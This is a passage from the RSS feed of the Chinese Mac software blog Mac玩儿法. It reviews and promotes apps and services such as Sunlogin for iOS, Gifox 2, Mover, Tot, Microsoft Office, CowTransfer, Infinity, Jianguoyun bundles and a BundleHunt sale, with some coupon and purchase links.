    向日葵iOS控制端 9.8.6 统一版本主题色,除游戏版专属深紫色主题外,其他版本如免费版、入门版、精英版均统一使用清新明亮主题。

    + +

    向日葵 for iOS 控制端更新:新增微信授权登录,适配 iPad 横屏等插图(1)

    + +

    多种方式登录

    + +

    为提供更灵活、快捷的登录方式,方便用户操作,除使用帐号密码登录方式外,向日葵 iOS 控制端 9.8.6 增加了扫码登录PC 端和微信授权登录两种方式,简化了登录操作,提高了远控效率。

    + +

    向日葵 for iOS 控制端更新:新增微信授权登录,适配 iPad 横屏等插图(2)

    + +

    适配 iPad 横屏

    + +

    在 iPad 适配方面,向日葵 iOS 控制端 9.8.6 进行了优化适配,实现横屏分栏操作,使用 iPad 时,页面将呈现左右分屏模式,左侧上级菜单栏,右侧展示详细页面信息,大大提升浏览效率和交互体验,助力苹果 iPad 用户畅快体验远程协助功能。

    + +

    向日葵 for iOS 控制端更新:新增微信授权登录,适配 iPad 横屏等插图(3)

    + +

    针对远程控制中跨系统文字复制需求,iOS 控制端 9.8.6 实现从电脑复制粘贴到手机,可快速处理文档信息,让移动办公更高效。另有更多细节功能进行了优化,欢迎更新体验。

    + +

    关于向日葵远程控制

    + +

    向日葵远程控制是国内知名远程控制服务商,打造完整软硬结合的远程控制体系,目前已研发向日葵远程控制软件及开机棒、开机插座、控控等多款硬件,通过软硬结合的方式提供完美的远程控制解决方案。支持电脑与电脑,手机与电脑,手机与手机相互控制;搭配开机棒/开机插座,随时随地开启电脑远控;搭配控控硬件,可穿透专网限制,跨越各种操作系统,远控各类工控设备。向日葵远程控制软硬结合的操作理念,为远程控制行业打开了更多的局面,提供更多难题的解决方案。

    + +

    向日葵 for iOS 控制端更新:新增微信授权登录,适配 iPad 横屏等插图(4)

    + +

    目前我站免费派发向日葵的服务类全场通用 40 元红包 500 个,大家可以在购买向日葵入门版、精英版、游戏版年度会员的时候兑换使用,兑换红包后请尽快使用。

    + +
    Mac玩法红包:3069554354
    +
    +兑换码领取  http://buy.oray.com/coupon/sunlogin
    + +

    延伸阅读

    + +

    https://www.waerfa.com/sunlogin-2020-review

    + +
    了解更多可登录官网
    +

    本文发表自Mac玩儿法,转载请注明转自《向日葵 for iOS 控制端更新:新增微信授权登录,适配 iPad 横屏等

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/sunlogin-for-ios-update-202003/feed + 0 +
    + + Gifox 2:麻雀升级为凤凰,价格突增 + https://www.waerfa.com/gifox-2-review + https://www.waerfa.com/gifox-2-review#respond + Sat, 29 Feb 2020 04:35:31 +0000 + + + + + + https://www.waerfa.com/?p=106789 + + Gifox 是我们之前介绍的一款 GIF 截屏录制与 GIF 动图快速制作软件,今年他们已经升级到了 2.0 版本,全新版本已经不是当年那个麻雀级的小软件,而是具备完善功能的非常有竞争力的一款 GIF 制作软件,下面我们来看看有什么新鲜功能。

    + +

    全新 2.0 版本增加了动图录制后的视频编辑功能,彻底将闭环上缺失的部分补上了,而且对文件处理菜单进行了全新设计,如下图右侧所示。

    + +

    Gifox 2:麻雀升级为凤凰,价格突增插图

    + +

    新版依旧会提示新用户使用「划分区域截屏」与「窗口截屏」的组合键使用方法。

    + +

    Gifox 2:麻雀升级为凤凰,价格突增插图(1)

    + +

    在录制截屏时免费版默认仅有 10 秒,而解锁 Pro 版后则没有时间限制,而且也没有免费版里自带的水印。在录制的时候依旧会提醒开始录制、停止录制的热键是什么。并且在录制前可以自定义截屏的各项参数,比如是否包括录你的光标进去,窗口阴影是否包含,是否包含桌面背景,录制时的 frame rate,回放时的 frame rate,重复次数限制(默认不限制)、每次播放后暂停时间(s为单位)、是否对画面进行尺寸缩放,色彩还原度(分全时段渲染或者按每帧渲染)等等。

    + +

    总的来说 ,Gifox 是一款非常实用,适合小白入门的 Mac 动图制作工具,不过说到这里难免让我忍不住去将其与圈里的大佬 Gif Brewery 做比较,下面我们就这两款软件同时制作一款适合放置于互联网 WEB 页的 GIF 文件场景进行效果比对,最后看看谁对 GIF 文件的体积、播放效果控制的比较好,来看看两者在性能领域能不能分出胜负。

    + +

    两个软件的性能对比:

    + +

    录制的视频为同一视频,不过播放时段不一样,但不影响最后的对比。

    + +
      +
    • Mac:MacBook Pro 2015-Mid
    • +
    • Display:15.4 2880×1800
    • +
    • 系统环境:macOS 10.15.3
    • +
    + +

    首先是 Gif Brewery 3

    + +

    Gifox 2:麻雀升级为凤凰,价格突增插图(2)

    + +

    条件:

    + +
      +
    • 生成的原始动图原始长宽 1348px 与 750px
    • +
    • frame count:155
    • +
    • frame delay:66ms
    • +
    • f/s:15.0
    • +
    • speed:100%
    • +
    • loop count:infinity
    • +
    • loop delay:0s
    • +
    • color count:48
    • +
    • 带颜色补偿:是
    • +
    + +

    导出后的原始体积:22.7MB

    + +

    按照画面比例自然缩小尺寸后为 555px 与 308px,导出后的原始体积:4.0MB

    + +

    使用 PP鸭压缩后用于生产环境的体积:2.7MB

    + +

    效果如下:

    + +

    Gifox 2:麻雀升级为凤凰,价格突增插图(3)

    + +

    然后是 Gifox 2

    + +

    Gifox 2:麻雀升级为凤凰,价格突增插图(4)

    + +

    条件:

    + +
      +
    • 动图原始长宽 1548px 与 958px
    • +
    • frame count:未知
    • +
    • frame delay:未知
    • +
    • f/s:15.0
    • +
    • speed 100%
    • +
    • loop count:infinity
    • +
    • loop delay:0s
    • +
    • color count:48
    • +
    + +

    导出后的原始体积:18.8MB(色彩还原应用于每帧则是 24.9MB)

    + +

    按照画面比例自然缩小尺寸后为 555px 与 343px,导出后的原始体积:2.5MB(色彩还原应用于每帧则是 5.7MB)

    + +

    使用 PP鸭压缩后用于生产环境的体积:1.7MB(色彩还原应用于每帧则是 3.4MB)

    + +

    效果如下:

    + +

    Gifox 2:麻雀升级为凤凰,价格突增插图(5)

    + +

    可以看到最后的对比,经过从原始动图缩小尺寸到 555px 这个宽度后(两个高度稍微不一样),体积分别下降,最后经过压缩软件处理,Gif Brewery 3 动图是 2.7 MB,而 Gifox 2 动图是 1.7MB,整整节省了 1MB 的体积,而且 Gifox 截屏里还自带窗口阴影区域,如果取消体积会更小,这里 Gifox 2 获胜,可以看出 Gifox 对动图体积的处理更加优秀,但是…

    + +

    看一下下方的对比图你会发现 Gif Brewery 3 的画面细腻度、噪点处理要比 Giffox 2 好很多,原谅我太懒没有将同一时段的视频做截屏录制。而 Gifox 太过激进的压缩动图体积换来的代价就是画面体验并不如 Gif Brewery 好,而且一些参数和一些更加深入的功能都不如 Gif Brewery 做的更加全面。

    + +

    所以这里大家看到这里应该有一个判断了吧,其实两款软件不分伯仲,如果你对动图体积比较敏感,比较追求加载速度,建议使用 Gifox,而你对动图的质量要求高,那当然选择 Gif Brewery 了。

    + +

    Gifox 2:麻雀升级为凤凰,价格突增插图(6)

    + +

    目前 Gifox 2 在 Mac App StoreSetapp 同时上架,Pro 版可解锁去掉水印以及录制时长的限制,如果你是 Gifox 1 的用户,在升级 2.0 Pro 的时候能获取 65 折的优惠。

    +

    本文发表自Mac玩儿法,转载请注明转自《Gifox 2:麻雀升级为凤凰,价格突增

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/gifox-2-review/feed + 0 +
    + + Mover:将任意平台数据转移到 OneDrive + https://www.waerfa.com/mover-review + https://www.waerfa.com/mover-review#respond + Fri, 28 Feb 2020 08:41:54 +0000 + + + + + https://www.waerfa.com/?p=106780 + + Mover:将任意平台数据转移到 OneDrive插图

    + +

    Mover 是一家在 2019 年 10 月被微软收购的免费云数据同步服务,可以将诸如 Box, Dropbox, Google, Amazon,服务器 SFTP 等诸多平台、空间的数据,快速的,无缝的,无需任何第三方工具,人为干预的迁移到微软家的 OneDrive、Azure 以及 Office 365。

    + +

    注册 Mover 后你可以在 Source Connector 选择 N 多目标迁移平台:

    + +

    Mover:将任意平台数据转移到 OneDrive插图(1)

    + +

    Mover:将任意平台数据转移到 OneDrive插图(2)

    + +

    确定后再选择微软这边的接收平台。

    + +

    Mover:将任意平台数据转移到 OneDrive插图(3)

    + +

    你可以选择同步迁移整个源平台的数据,也可以选择某个子目录里的数据,不过好像 Mover 并不支持多选任意的子目录去迁移数据。

    + +

    完成设定后就可以让 Mover 自己运行拉,你可以在 Migration Manager 页面看到实时的迁移进度,完成结果。

    + +

    Mover:将任意平台数据转移到 OneDrive插图(4)

    + +

    你还可以选择自定义 action,比如下载迁移日志、编辑迁移备忘录、定时迁移等操作。

    + +
    Mover 官网
    +

    本文发表自Mac玩儿法,转载请注明转自《Mover:将任意平台数据转移到 OneDrive

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/mover-review/feed + 0 +
    + + Tot:小型随手记工具,犹如闷口小酒 + https://www.waerfa.com/tot + https://www.waerfa.com/tot#respond + Fri, 28 Feb 2020 07:27:07 +0000 + + + + + + https://www.waerfa.com/?p=106772 + + Tot:小型随手记工具,犹如闷口小酒插图

    + +

    Tot 是开发了 Twitterrific、xScope 的 Iconfactory 最新推出的小型随手记工具,在 macOS、iOS、iPadOS 均有 app 上架,Tot 的 logo、UI 等形象设计就像它的名字一样,五颜六色的,就像“一小杯调制烈酒”,而这款 app 的目的就是让用户可以随时随地的快速完成一些备忘、随想、旅行计划、待办事项、采购计划等等场景下的内容笔记

    + +

    Tot 的窗口顶部工具栏安排了七个不同颜色 theme 的圆圈用来切换不同的最近 7 个笔记,用户可以在 macOS 与 iOS 两个平台的 app 之间通过 iCloud 同步,同时支持 markdown 语法来完成精美的内容排版。

    + +

     

    + +
    Tot:小型随手记工具,犹如闷口小酒插图(1)
    Tot 的演示动图
    + +

    Tot 在 Mac 端可以安置在 menubar 或者以独立窗口的形式悬浮在桌面上。

    + +

    Tot:小型随手记工具,犹如闷口小酒插图(2)

    + +

    这款工具具备行数、字数、字符数的统计、笔记分享、富文本与纯文本的快速切换操作。

    + +

    Tot:小型随手记工具,犹如闷口小酒插图(3)

    + +

    但是有一些功能并没有如我所想出现,比如从浏览器网页中快速采集文本段落到 Tot 这样的插件,目前还没有。

    + +

    Tot:小型随手记工具,犹如闷口小酒插图(4)

    + +

    这款 app 支持随系统黑白两色主题自动切换主题。

    + +

    Tot:小型随手记工具,犹如闷口小酒插图(5)

    + +

    Tot 目前在 Mac App Store 可免费下载使用,iOS 版在 iOS 平台需一次性付费 128 元才可使用。

    +

    本文发表自Mac玩儿法,转载请注明转自《Tot:小型随手记工具,犹如闷口小酒

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/tot/feed + 0 +
    + + 微软推出集成版 Office:Word/Excel/PowerPoint 三合一 + https://www.waerfa.com/microsoft-office-2020-review + https://www.waerfa.com/microsoft-office-2020-review#respond + Fri, 28 Feb 2020 06:22:47 +0000 + + + + + + + + https://www.waerfa.com/?p=106760 + + 微软推出集成版 Office:Word/Excel/PowerPoint 三合一插图

    + +

    我想许多使用 Office 365 的朋友和我都有一种同感,你在 iPhone 上编辑文稿、表格、PPT 需要在三个独立的 app 之间切换,给人的感觉就是微软的产品线非常的松散,而现在在移动端这种情况已经发生变革了,微软首先在 iOS 平台将 Word/Excel/PowerPoint 三个独立应用集成到了一个 app 上,名为 Microsoft Office。

    + +

    如果你之间经常使用移动版的 Office 三剑客,那么全新的 Microsoft Office 对于你来说没有任何障碍,除了传统操作,在这个超级 app 上还内置了以下几个扩展动作:

    + +
      +
    • 手机与电脑之间共享文件
    • +
    • 图像转文本(提取图片里的文本,即 OCR)
    • +
    • 图像到表格(提取图片里的表格到 Excel)
    • +
    • PDF 签名
    • +
    • 图片扫描进 PDF
    • +
    • 图片转化成 PDF
    • +
    • 文档转 PDF
    • +
    • 扫描 QR 码打开文件或链接
    • +
    + +

    本文我不打算详细对 Microsoft Office 的各项功能展开说,总的体验就是这款 app 做的非常精致紧凑,确实能替代 Word/Excel/PowerPoint 三个独立 app,但相比于桌面端软件,在移动端的工作效率还是差一些,所以从生产力与生产效率角度看,移动端的 Office 仍然是一个桌面端伴侣的角色,用户会经常在移动端对文件进行预览、管理、传输,最多也是进行短期的,简单的内容修改,即时 Microsoft Office 提供了几乎所有桌面端常见的核心功能。

    + +

    微软推出集成版 Office:Word/Excel/PowerPoint 三合一插图(1)

    + +

    Microsoft Office 的界面设计的非常简洁,近期编辑的文档,文档搜索,文件同步管理以及底部的新建文档操作集成按钮、扩展动作入口安排的相得益彰。

    + +

    微软推出集成版 Office:Word/Excel/PowerPoint 三合一插图(2)

    + +

    编辑的文档可以保存在本地,也可以上传到 OneDrive 上,新建文档的时候可以从模板创建,也可以直接扫描现在文档。

    + +

    微软推出集成版 Office:Word/Excel/PowerPoint 三合一插图(3)

    + +

    从模板创建 Word/Excel/PowerPoint,可以选择的模板种类也是不少的。

    + +

    微软推出集成版 Office:Word/Excel/PowerPoint 三合一插图(4)

    + +

    像自定义文本颜色、排版、文本样式定义等一些系列的 Office 上的基础操作功能在 Word/Excel/PowerPoint 三个 app 里都是统一调用的。

    + +

    微软推出集成版 Office:Word/Excel/PowerPoint 三合一插图(5)

    + +

    在 Excel、PowerPonit 中编辑表格,插入排版等交互性较强的操作上,虽然在移动端也可以使用,但给你的感觉还是不如桌面端方便,究其原因还是人类视力的局限性、屏幕尺寸狭小和移动端触屏操作的局限性造成的。

    + +

    微软推出集成版 Office:Word/Excel/PowerPoint 三合一插图(6)

    + +

    PPT 的自带排版与扩展动作列表如上

    + +

    微软推出集成版 Office:Word/Excel/PowerPoint 三合一插图(7)

    + +

    在 Word 上依旧可以完成形状插入、表格插入。

    + +

    Microsoft Office 目前可在 App Store 免费获取,在使用前你需要激活 Office 365 的订阅权限。

    +

    本文发表自Mac玩儿法,转载请注明转自《微软推出集成版 Office:Word/Excel/PowerPoint 三合一

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/microsoft-office-2020-review/feed + 0 +
    + + 奶牛快传:文艺型的文件高速传输服务 + https://www.waerfa.com/cowtransfer-review + https://www.waerfa.com/cowtransfer-review#respond + Tue, 25 Feb 2020 12:53:00 +0000 + + + + + + + https://www.waerfa.com/?p=106739 + + 奶牛快传是一款特别文艺的文件高速传输服务,可提供文件的快速上传,不限制下载、上传速度(Web/iOS/Android/小程序)和快速下载,而且自带云盘服务,给我印象最深刻的就是他的下载操作,和丰巢箱的取快速操作非常类似,使用对方给的6位取件码(取件码有效期 24 小时,免费版下载有效期 7 天)即可获取文件,当然你也可以通过生成的下载链接或二维码让对方获取文件。

    + +

    而当你上传文件(最大 4GB),下载文件的时候都可以将其存储到奶牛提供的云盘空间里,免费版 5GB 空间,Pro 版可以获得更大空间,1TB 起。

    + +

    奶牛快传:文艺型的文件高速传输服务插图

    + +

    在奶牛快传的 Web 网页里,每一次刷新网页你都可以阅读或观看一个非常有深度值得思考的故事。

    + +

    奶牛快传:文艺型的文件高速传输服务插图(1)

    + +

    奶牛的传输次数有一个非常细化的规则,不同体积的文件有不同的传输次数,而当你升级到 Pro 用户后,传输次数可大幅提高,我想,升级 Pro 版本获取如此高的传输此时更适合网络社区深度要监管户,开发者,自媒体,各级网站运营者使用。

    + +

    购买奶牛快传会员

    + +

    奶牛快传:文艺型的文件高速传输服务插图(2)

    + +

    在手机端的操作与 Web 端一样,也可以自由变换壁纸。不过奶牛的小程序只能接文件不能上传文件。

    + +

    奶牛快传:文艺型的文件高速传输服务插图(3)

    + +

    奶牛快传除了免费版还提供了 Pro 版,Pro 分「基础 99元/年」、「高级199元/年」、「团队799元/年」三个级别,不同的级别享受:

    + +
      +
    • 不同容量的云盘空间(免费版是默认 5GB 云盘空间)
    • +
    • 云盘内容永不删档
    • +
    • 传输无大小限制(非登录用户与已登录的免费用户单次传输文件上限为 4GB)
    • +
    • 传输链接永远有效(账号到期截止)
    • +
    • 更多的免费下载次数
    • +
    • 可自定义传输有效期(免费版最多7天)
    • +
    • 邮件发送传输(基础 Pro 最多 2 人,高级/团队 Pro 最多 50 人)
    • +
    • 传输视频可直接在线播放(高级版及以上版本支持)
    • +
    • 短信发送传输(高级版及以上版本支持)
    • +
    • 专属个性域名(高级版及以上版本支持)
    • +
    • 自定义背景壁纸(高级版及以上版本支持)
    • +
    • 5 名成员(团队版专有)
    • +
    + +

    奶牛快传:文艺型的文件高速传输服务插图(4)

    + +

    购买奶牛快传会员

    +

    本文发表自Mac玩儿法,转载请注明转自《奶牛快传:文艺型的文件高速传输服务

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/cowtransfer-review/feed + 0 +
    + + Infinity:打造自己的超高效浏览器新标签页 + https://www.waerfa.com/infinity-pro-review + https://www.waerfa.com/infinity-pro-review#respond + Sun, 23 Feb 2020 02:30:14 +0000 + + + + + + https://www.waerfa.com/?p=106673 + + Infinity(Pro)是由 Extfans 开发的一款 Chrome 插件,可帮助用户高度定制个性化的新标签页,激活插件后你可以拥有一个可自动切换壁纸,带有自定义搜索引擎切换,一个类似于 macOS Launchpad 的应用网格以及带有许多 Infinity 自制功能的超级新 Tab 页。

    + +

    Infinity 标签页做的非常精致,应用图标可以随意调整位置,和 Launchpad 很类似。右下角有一个纸风车,点击一下可以自动切换壁纸。

    + +

    Infinity:打造自己的超高效浏览器新标签页插图

    + +

    Infinity 的应用图标可以随意拖动并组建一个应用 folder。

    + +

    Infinity:打造自己的超高效浏览器新标签页插图(1)

    + +

    点击搜索栏左侧搜索引擎图标你可以选择除了 Google、Baidu 外更多的搜索引擎。

    + +

    Infinity:打造自己的超高效浏览器新标签页插图(2)

    + +

    默认的应用不是很多,可以点击右上角的“无限”按钮,添加更多的网络服务。

    + +

    Infinity:打造自己的超高效浏览器新标签页插图(3)

    + +

    下面讲讲 Infinity 内置的第三方功能,比如有 Chrome 本来就有的扩展管理:

    + +

    Infinity:打造自己的超高效浏览器新标签页插图(4)

    + +

    添加自己的应用图标,当你输入应用的 web url 后会自动带出 web 网页的 title,上传 web 的图标,选择分类,设置 web slogan 等等。

    + +

    Infinity:打造自己的超高效浏览器新标签页插图(5)

    + +

    Infinity 内置了自己精心挑选的在线小游戏资源库:

    + +

    Infinity:打造自己的超高效浏览器新标签页插图(6)

    + +

    自动切换壁纸的功能非常有意思,你可以选择不同色系的壁纸,根据标签、壁纸源来挑选壁纸。

    + +

    Infinity:打造自己的超高效浏览器新标签页插图(7)

    + +

    内置了可自由选择城市的天气信息应用:

    + +

    Infinity:打造自己的超高效浏览器新标签页插图(8)

    + +

    内置了笔记功能,支持支持 copy 带格式的文字内容。

    + +

    Infinity:打造自己的超高效浏览器新标签页插图(9)

    + +

    内置了待办事项,支持应用图标上显示未完成的任务 badge。

    + +

    Infinity:打造自己的超高效浏览器新标签页插图(10)

    + +

    最后我们来介绍一下 Infinity 的个性化设置功能,其实这是这款插件最吸引人的地方:

    + +

    除了可选择自动更换壁纸,设置变更壁纸的时间间隔或者选择从 Bing 壁纸、壁纸库、本地硬盘选择壁纸。另外壁纸的遮罩透明度、模糊度都可以自己设置。

    + +

    Infinity:打造自己的超高效浏览器新标签页插图(11)

    + +

    网格 app 的布局可以选择不同的「行数x列数」排列布局,Pro 版本可以选择 3×5,3×6,3×7 的布局,而且可以设置列间距、行间距。

    + +

    Infinity:打造自己的超高效浏览器新标签页插图(12)

    + +

    网格 app 图标滑动的动画也可以自选,不过效果并不明显。

    + +

    Infinity:打造自己的超高效浏览器新标签页插图(13)

    + +

    图标可以选择样式的细节调整,比如图标的阴影、圆角,不透明度,大小等等参数

    + +

    Infinity:打造自己的超高效浏览器新标签页插图(14)

    + +

    搜索框也可以自定义其外形。

    + +

    Infinity:打造自己的超高效浏览器新标签页插图(15)

    + +
    Infinity 新标签页 (Pro)
    +

    本文发表自Mac玩儿法,转载请注明转自《Infinity:打造自己的超高效浏览器新标签页

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/infinity-pro-review/feed + 0 +
    + + 坚果云推出五款精品联合套餐,让你的工作效率再上一个台阶 + https://www.waerfa.com/jianguoyun-app-bundle-coming + https://www.waerfa.com/jianguoyun-app-bundle-coming#respond + Sun, 23 Feb 2020 01:01:52 +0000 + + + + + https://www.waerfa.com/?p=106712 + + 坚果云作为国内独立的云存储服务商,始终将自己的产品定位与国际同行们看齐,这款服务不光做好在 macOS、Win、iOS、Android 平台的客户端研发更新,更是积极与各大主流应用对接,让用户在存储数据时多了一个选择,比如像微软的 Office、WPS、PDF Expert、Documents 等等 app 里都可以发现坚果云的身影,但坚果云并不满足于当前的现状,为了更大规模的扩展产品影响力,提升产品流量,他们还与各大软件商推出了联合套餐,这些软件负责不同领域的使用场景,配合坚果云的同步服务,可以产生 1+1>2 的效果,让用户在使用这些软件时发挥更大的威力!

    + +

    今天我们来推荐五款常见的联合套餐:

    + +

    坚果云 + AdGuard

    + +

    坚果云推出五款精品联合套餐,让你的工作效率再上一个台阶插图

    + +

    这款套餐集合了业内顶尖的云存储服务与广告拦截软件,为用户打造安全高效的工作环境,Adguard,一个创建于 2009 年的俄罗斯垃圾广告软件品牌,凭借积累的深厚广告拦截、计算机安全防护经验捕获了不少用户的青睐,这款软件支持 macOS、iOS、Win、Android 四个平台,具备四大核心功能:

    + +
      +
    • 广告拦截:一次处理所有类型的烦人横幅广告,弹窗以及视频广告
    • +
    • 隐私保护:隐藏您的数据,使其远离全集网络之上的跟踪器及活动性分析器
    • +
    • 安全浏览:避免所有诈骗和钓鱼网站及恶意攻击
    • +
    • 家长控制:限制儿童访问不适宜的和成人内容以保护他们的在线安全
    • +
    + +

    使用 Adguard 可以在一定程度上帮助你远离带有恶意程序的网络文件,从而确保你在上传到云服务前所有的文件都是安全的,现在你只需用 259 ¥(或459 ¥)的价格,就可以获得「坚果云专业版(或坚果云高级专业版) +AdGuard 高级版」套餐(一年有效期)。

    + +
    购买链接
    + +

    坚果云 + CCleaner

    + +

    坚果云推出五款精品联合套餐,让你的工作效率再上一个台阶插图(1)

    + +

    CCleaner 应该算是 Win 圈里的 CleanMyMac 了,它能够迅速清除 Windows 系统不再使用的临时文件,也可以清除各类缓存文件、日志文件、重复文件,释放出更多硬盘空间,让系统运行的更加畅快。尤其在注册表清理方面,CCleaner 做到了极致,口碑极佳。

    + +

    这款套餐的价格为 320 ¥(或520 ¥),可以获得「坚果云专业版(或坚果云高级专业版) +CCleaner 高级版」套餐(一年有效期)。

    + +
    购买链接
    + +

    坚果云 + Boxcryptor

    + +

    坚果云推出五款精品联合套餐,让你的工作效率再上一个台阶插图(2)

    + +

    这款套餐里的 Boxcryptor 是一款来自德国的专业级加密软件,可以对 Dropbox、Google Drive、iCloud Drive、OneDrive、Box,当然也包括坚果云这样的专业云存储/同步服务空间中的文件进行加密/解密操作,确保文件在云空间的绝对安全,所有数据被上传之前都会进行 AES-256 标准加密。

    + +

    这款软件设计之初就遵守号称「史上最严」的信息安全法 -「通用数据保护条例」(GDRP) ,还需要受到更为严格的 「德国联邦数据保护法案」(BDSG) 约束。它在 Windows、macOS、Android、iOS、Chrome 多平台均有客户端支持。

    + +

    例如在 macOS 系统内,当你安装好 Boxcryptor 后,软件会自动扫描系统中已装在的云存储空间,并将其挂载在自己的本地目录内,用户只需在云空间里的文件上触发右键菜单,选择 Boxcryptor 里的 Encrypt 即可进行加密,这款产品还支持对文件名进行加密,对文件操作权限指定操作用户。

    + +

    支持 WebDAV 的坚果云与 Boxcryptor 配合是最为默契的,由于很多第三方应用的数据并不直接和所有的云服务互通,所以这些应用的数据需要操作系统(macOS,Win,iOS,Android)跳转一下才能同步到云空间,比如说国外许多 app 并不支持直接同步数据到坚果云,但如果 app 支持 WebDAV,就像PDF Expert这种应用,设置 WebDAV 后则可以完美同步数据到坚果云 (国内唯一支持 WebDAV 的云服务)。

    + +

    关于 WebDAV 的使用方法,大家可以参考这篇文章。WebDAV 协议一般广泛应用于企业自有应用程序对接到云存储服务的场景。

    + +

    坚果云 + Boxcryptor 套餐价格为 419 ¥(或619 ¥),可以获得「坚果云专业版一年期(或坚果云高级专业版一年期) +Boxcryptor」套餐。

    + +
    购买链接
    + +

    坚果云 + Eagle

    + +

    坚果云推出五款精品联合套餐,让你的工作效率再上一个台阶插图(3)

    + +

    坚果云+Eagle 应该算是坚果云做的比较早的联合套餐了,我们之前也详细介绍过,设计师可以利用 Eagle 保存大量的素材资源。如果想在其他地点调用,打开坚果云对其数据库进行同步即可。

    + +

    当前疫情严重,大家只能在家办公,而公司又不能回去,连公司所在的办公楼都封禁了,把自己的办公电脑拿出来可以说是痴心妄想,办公电脑里存在那么多珍贵的素材不能调用,实在可惜。这时候如果有坚果云帮忙,可以足不出户在家里的电脑同步出原有素材,你也方便,老板也对你的工作保持认可。

    + +

    坚果云 + Eagle 套餐的价格为 299 ¥(或499¥),可以获得「坚果云专业版一年期(或坚果云高级专业版一年期)+ Eagle 终身激活码」。

    + +
    购买链接
    + +

    坚果云 + Listary

    + +

    坚果云推出五款精品联合套餐,让你的工作效率再上一个台阶插图(4)

    + +

    当你在本地同步云盘中积累大量的文件时,光靠 Win/macOS 上孱弱的文件搜索模块是很难完成快速或精准的文件搜索操作的,在 Windows 平台,Listary 可以帮助用户以一种无形融合的方式完成文件查找,比如在任意界面双击“Ctrl”即可唤出搜索框,或者直接在目标目录里直接键入关键字搜索,光标会自动定位在匹配的文件上,回车直接打开,整个过程如行云流水。

    + +

    Listary 不仅支持关键词模糊查找,也支持用拼音首字母进行模糊查找,甚至还可以拆字。例如, 你想搜索名为“市场会议”的文件,输入“市议”或“s y”都行,且有下划线标识搜索的关键字。

    + +

    Listary 给我的感觉与 Launchbar 很像,除了搜索文件,它还擅长文件的快速启动、快速定位搜索路径(文件保存窗口)、常用搜索文件夹收藏化方便快速调用,语义化网络搜索(jgy+空格+关键字)等等功能。

    + +

    这款联合套餐的价格为:

    + +
      +
    • 坚果云专业版一年 + Listary Pro 终身激活码: 254.9 ¥
    • +
    • 坚果云高级专业版一年 + Listary Pro 终身激活码:454.9 ¥
    • +
    + +
    购买链接
    +

    本文发表自Mac玩儿法,转载请注明转自《坚果云推出五款精品联合套餐,让你的工作效率再上一个台阶

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/jianguoyun-app-bundle-coming/feed + 0 +
    + + BundleHunt 推出 2020 年首款 Mac 软件包,$5 起,还有折扣规则 + https://www.waerfa.com/bundlehunt-2020 + https://www.waerfa.com/bundlehunt-2020#respond + Thu, 20 Feb 2020 01:00:57 +0000 + + + + + https://www.waerfa.com/?p=106709 + + 我们的老朋友 BundleHunt 昨天推出了 2020 年最新的 Mac 软件包,软件包囊括了 44 款知名 Mac 软件,与去年明显不同在于这次包含的软件新面孔很多,也有像

    + +
      +
    • Typinator、
    • +
    • Studies、
    • +
    • Mellel、
    • +
    • DeltaWalker Pro、
    • +
    • iFlicks Pro、
    • +
    • Focusplan Pro、
    • +
    • TaskPaper、
    • +
    • Unite 3、
    • +
    • KeyCue 9、
    • +
    • Tidy Up、
    • +
    • PrivacyScan、
    • +
    • Wattagio、
    • +
    • UninstallPKG、
    • +
    • TableEdit
    • +
    + +

    这样的知名软件,这次的活动规则也比较新颖,在 5 刀起购的基础上推出了:

    + +
      +
    • 选购 5 款软件整体打 95 折
    • +
    • 选购 10 款软件整体打 9 折
    • +
    • 选购 15 款软件整体打 85 折
    • +
    + +

    购买 BundleHunt 2020 年全新 Mac 软件包

    + +

     

    + +

    BundleHunt 推出 2020 年首款 Mac 软件包,$5 起,还有折扣规则插图

    + +

    所有软件的原价都比较恐怖,不过在 BundleHunt 里都是 1 刀至 5 刀的价格,非常的实惠划算,所有软件均已适配 macOS Catalina。

    + +

    购买 BundleHunt 2020 年全新 Mac 软件包

    +

    本文发表自Mac玩儿法,转载请注明转自《BundleHunt 推出 2020 年首款 Mac 软件包,$5 起,还有折扣规则

    ---------- +

